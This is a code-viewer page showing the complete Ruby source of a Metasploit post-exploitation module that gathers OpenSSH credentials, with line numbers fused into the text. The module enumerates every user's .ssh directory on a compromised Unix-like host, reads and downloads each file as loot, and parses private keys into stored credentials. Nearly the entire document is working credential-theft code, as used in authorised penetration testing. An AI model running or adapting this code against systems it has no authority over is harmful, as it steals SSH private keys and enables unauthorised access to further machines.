Path: blob/master/modules/post/multi/gather/ssh_creds.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',16'Description' => %q{17This module will collect the contents of all users' .ssh directories on the targeted18machine. Additionally, known_hosts and authorized_keys and any other files are also19downloaded. This module is largely based on firefox_creds.rb.20},21'License' => MSF_LICENSE,22'Author' => ['Jim Halfpenny'],23'Platform' => %w[bsd linux osx unix],24'SessionTypes' => ['meterpreter', 'shell' ],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28stdapi_fs_ls29stdapi_fs_separator30]31}32},33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37}38)39)40end4142def run43print_status('Finding .ssh directories')44paths = enum_user_directories.map { |d| d + '/.ssh' }45# Array#select! is only in 1.946paths = paths.select { |d| directory?(d) }4748if paths.nil? || paths.empty?49print_error('No users found with a .ssh directory')50return51end5253print_status("Looting #{paths.count} .ssh directories")54download_loot(paths)55end5657def download_loot(paths)58paths.each do |path|59path.chomp!6061print_status("Looting #{path} directory")6263unless executable?(path)64print_warning("Cannot access directory: #{path} . Missing execute permission. Skipping.")65next66end6768if session.type == 'meterpreter'69sep = session.fs.file.separator70files = session.fs.dir.entries(path)71else72# Guess, but it's probably right73sep = '/'74files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)75end76path_array = path.split(sep)77path_array.pop78user = path_array.pop79files.each do |file|80next if ['.', '..'].include?(file)8182file_path = "#{path}#{sep}#{file}"8384unless readable?(file_path)85print_warning("Cannot read file: #{file_path} . Missing read permission. Skipping.")86next87end8889data = read_file("#{path}#{sep}#{file}")90file = file.split(sep).last9192loot_path = store_loot("ssh.#{file}", 'text/plain', session, data, "ssh_#{file}", "OpenSSH #{file} File")93print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")9495# store only ssh private keys96next if SSHKey.valid_ssh_public_key? data9798begin99key = SSHKey.new(data, passphrase: '')100101credential_data = {102origin_type: :session,103session_id: session_db_id,104post_reference_name: refname,105private_type: :ssh_key,106private_data: key.key_object.to_s,107username: user,108workspace_id: myworkspace_id109}110111create_credential(credential_data)112rescue OpenSSL::OpenSSLError => e113print_error("Could not load SSH Key: #{e.message}")114end115end116end117end118end119120121